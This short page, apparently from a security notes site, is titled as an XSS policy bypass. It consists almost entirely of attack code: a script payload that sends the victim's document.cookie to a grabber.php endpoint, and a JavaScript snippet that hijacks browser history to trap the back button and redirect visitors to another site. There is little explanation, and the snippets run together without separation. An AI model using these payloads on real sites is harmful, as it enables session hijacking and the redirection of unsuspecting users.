β©οΈXSS Security Policy Bypass
Bypassing security policy to exploit cross-site scripting using browser history
<script>document.location='http://localhost/XSS/grabber.php?c='+document.cookie</script>(function(window, location) {
history.replaceState(null, document.title, location.pathname+"#!/stealingyourhistory");
history.pushState(null, document.title, location.pathname);
window.addEventListener("popstate", function() {
if(location.hash === "#!/stealingyourhistory") {
history.replaceState(null, document.title, location.pathname);
setTimeout(function(){
location.replace("http://www.programadoresweb.net/");
},0);
}
}, false);
}(window, location));Last updated